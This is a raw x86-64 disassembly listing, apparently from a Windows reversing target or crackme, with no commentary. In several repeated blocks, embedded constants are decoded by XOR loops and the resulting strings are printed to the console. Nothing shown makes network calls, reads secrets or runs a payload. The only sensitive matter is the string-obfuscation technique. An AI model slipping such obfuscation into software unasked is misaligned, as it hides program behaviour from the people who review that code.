movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140003630
cmp ecx, 0x62
jl 0x140003735
mov rcx, r8
jmp 0x14000377f
movsxd rax, ecx
lea r8, [rbp + 0xb30]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x140003750
mov rcx, r10
lea rdx, [rbp + 0xb30]
call fcn.140008fb0
movups xmm1, xmmword [0x14000bad0]
movups xmm0, xmmword [0x14000bac0]
movups xmmword [rbp + 0xbb0], xmm1
movups xmmword [rbp + 0xba0], xmm0
movups xmm1, xmmword [0x14000baf0]
movups xmm0, xmmword [0x14000bae0]
movups xmmword [rbp + 0xbd0], xmm1
movups xmmword [rbp + 0xbc0], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bb20]
movups xmm1, xmmword [0x14000bb10]
movups xmm0, xmmword [0x14000bb00]
mov r10, r8
mov word [rbp + 0xc00], ax
movups xmmword [rbp + 0xbf0], xmm1
movups xmmword [rbp + 0xbe0], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140003949
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0xba4]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140003840
cmp ecx, 0x62
jl 0x140003949
mov rcx, r8
jmp 0x14000398f
movsxd rax, ecx
lea r8, [rbp + 0xba0]
add r8, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x140003960
mov rcx, r10
lea rdx, [rbp + 0xba0]
call fcn.140008fb0
movups xmm1, xmmword [0x14000bf70]
movups xmm0, xmmword [0x14000bf60]
movups xmmword [rbp + 0xc20], xmm1
movups xmmword [rbp + 0xc10], xmm0
movups xmm1, xmmword [0x14000bf90]
movups xmm0, xmmword [0x14000bf80]
movups xmmword [rbp + 0xc40], xmm1
movups xmmword [rbp + 0xc30], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bfc0]
movups xmm1, xmmword [0x14000bfb0]
movups xmm0, xmmword [0x14000bfa0]
mov r10, r8
mov word [rbp + 0xc70], ax
movups xmmword [rbp + 0xc60], xmm1
movups xmmword [rbp + 0xc50], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140003b59
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0xc14]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140003a50
cmp ecx, 0x62
jl 0x140003b59
mov rcx, r8
jmp 0x140003b9f
movsxd rax, ecx
lea r8, [rbp + 0xc10]
add r8, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x140003b70
mov rcx, r10
lea rdx, [rbp + 0xc10]
call fcn.140008fb0
movups xmm1, xmmword [0x14000bad0]
movups xmm0, xmmword [0x14000bac0]
movups xmmword [rbp + 0xc90], xmm1
movups xmmword [rbp + 0xc80], xmm0
movups xmm1, xmmword [0x14000baf0]
movups xmm0, xmmword [0x14000bae0]
movups xmmword [rbp + 0xcb0], xmm1
movups xmmword [rbp + 0xca0], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bb20]
movups xmm1, xmmword [0x14000bb10]
movups xmm0, xmmword [0x14000bb00]
mov r10, r8
mov word [rbp + 0xce0], ax
movups xmmword [rbp + 0xcd0], xmm1
movups xmmword [rbp + 0xcc0], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140003d69
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0xc84]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140003c60
cmp ecx, 0x62
jl 0x140003d69
mov rcx, r8
jmp 0x140003daf
movsxd rax, ecx
lea r8, [rbp + 0xc80]
add r8, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x140003d80
mov rcx, r10
lea rdx, [rbp + 0xc80]
call fcn.140008fb0
movups xmm1, xmmword [0x14000c080]
movups xmm0, xmmword [0x14000c070]
movups xmmword [rbp + 0xd00], xmm1
movups xmmword [rbp + 0xcf0], xmm0
movups xmm1, xmmword [0x14000c0a0]
movups xmm0, xmmword [0x14000c090]
movups xmmword [rbp + 0xd20], xmm1
movups xmmword [rbp + 0xd10], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000c0d0]
movups xmm1, xmmword [0x14000c0c0]
movups xmm0, xmmword [0x14000c0b0]
mov r10, r8
mov word [rbp + 0xd50], ax
movups xmmword [rbp + 0xd40], xmm1
movups xmmword [rbp + 0xd30], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140003f79
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0xcf4]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140003e70
cmp ecx, 0x62
jl 0x140003f79
mov rcx, r8
jmp 0x140003fbf
movsxd rax, ecx
lea r8, [rbp + 0xcf0]
add r8, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x140003f90
mov rcx, r10
lea rdx, [rbp + 0xcf0]
call fcn.140008fb0
movups xmm1, xmmword [0x14000bd50]
movups xmm0, xmmword [0x14000bd40]
movups xmmword [rbp + 0xd70], xmm1
movups xmmword [rbp + 0xd60], xmm0
movups xmm1, xmmword [0x14000bd70]
movups xmm0, xmmword [0x14000bd60]
movups xmmword [rbp + 0xd90], xmm1
movups xmmword [rbp + 0xd80], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bda0]
movups xmm1, xmmword [0x14000bd90]
movups xmm0, xmmword [0x14000bd80]
mov r10, r8
mov word [rbp + 0xdc0], ax
movups xmmword [rbp + 0xdb0], xmm1
movups xmmword [rbp + 0xda0], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140004189
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0xd64]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140004080
cmp ecx, 0x62
jl 0x140004189
mov rcx, r8
jmp 0x1400041cf
movsxd rax, ecx
lea r8, [rbp + 0xd60]
add r8, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x1400041a0
mov rcx, r10
lea rdx, [rbp + 0xd60]
call fcn.140008fb0
movups xmm1, xmmword [0x14000bad0]
movups xmm0, xmmword [0x14000bac0]
movups xmmword [rbp + 0xde0], xmm1
movups xmmword [rbp + 0xdd0], xmm0
movups xmm1, xmmword [0x14000baf0]
movups xmm0, xmmword [0x14000bae0]
movups xmmword [rbp + 0xe00], xmm1
movups xmmword [rbp + 0xdf0], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bb20]
movups xmm1, xmmword [0x14000bb10]
movups xmm0, xmmword [0x14000bb00]
mov r10, r8
mov word [rbp + 0xe30], ax
movups xmmword [rbp + 0xe20], xmm1
movups xmmword [rbp + 0xe10], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140004399
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0xdd4]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140004290
cmp ecx, 0x62
jl 0x140004399
mov rcx, r8
jmp 0x1400043df
movsxd rax, ecx
lea r8, [rbp + 0xdd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x1400043b0
mov rcx, r10
lea rdx, [rbp + 0xdd0]
call fcn.140008fb0
movups xmm1, xmmword [0x14000bad0]
movups xmm0, xmmword [0x14000bac0]
movups xmmword [rbp + 0xe50], xmm1
movups xmmword [rbp + 0xe40], xmm0
movups xmm1, xmmword [0x14000baf0]
movups xmm0, xmmword [0x14000bae0]
movups xmmword [rbp + 0xe70], xmm1
movups xmmword [rbp + 0xe60], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bb20]
movups xmm1, xmmword [0x14000bb10]
movups xmm0, xmmword [0x14000bb00]
mov r10, r8
mov word [rbp + 0xea0], ax
movups xmmword [rbp + 0xe90], xmm1
movups xmmword [rbp + 0xe80], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x1400045a9
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0xe44]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x1400044a0
cmp ecx, 0x62
jl 0x1400045a9
mov rcx, r8
jmp 0x1400045ef
movsxd rax, ecx
lea r8, [rbp + 0xe40]
add r8, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x1400045c0
mov rcx, r10
lea rdx, [rbp + 0xe40]
call fcn.140008fb0
movups xmm1, xmmword [0x14000b9e0]
movups xmm0, xmmword [0x14000b9d0]
movups xmmword [rbp + 0x440], xmm1
movups xmmword [rbp + 0x430], xmm0
movups xmm1, xmmword [0x14000ba00]
movups xmm0, xmmword [0x14000b9f0]
movups xmmword [rbp + 0x460], xmm1
movups xmmword [rbp + 0x450], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14000ba30]
movups xmm1, xmmword [0x14000ba20]
movups xmm0, xmmword [0x14000ba10]
mov r10, r8
mov byte [rbp + 0x490], al
movups xmmword [rbp + 0x480], xmm1
movups xmmword [rbp + 0x470], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x1400047b9
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x434]
mov r9d, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x1400046b0
cmp ecx, 0x61
jl 0x1400047b9
mov rcx, r8
jmp 0x1400047ff
movsxd rax, ecx
lea r8, [rbp + 0x430]
add r8, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x61
jl 0x1400047d0
mov rcx, r10
lea rdx, [rbp + 0x430]
call fcn.140008fb0
mov eax, dword [str.9___29]
mov dword [rsp + 0x30], eax
movzx eax, word [0x14000bedc]
mov word [rsp + 0x34], ax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14000bede]
mov byte [rsp + 0x30], 0xa
xor byte [rsp + 0x31], 0x34
xor byte [rsp + 0x32], 0x35
xor byte [rsp + 0x33], 0x36
xor byte [rsp + 0x34], 0x37
xor byte [rsp + 0x35], 0x38
xor al, 0x39
mov byte [rsp + 0x36], al
lea rdx, [rsp + 0x30]
call fcn.140008fb0
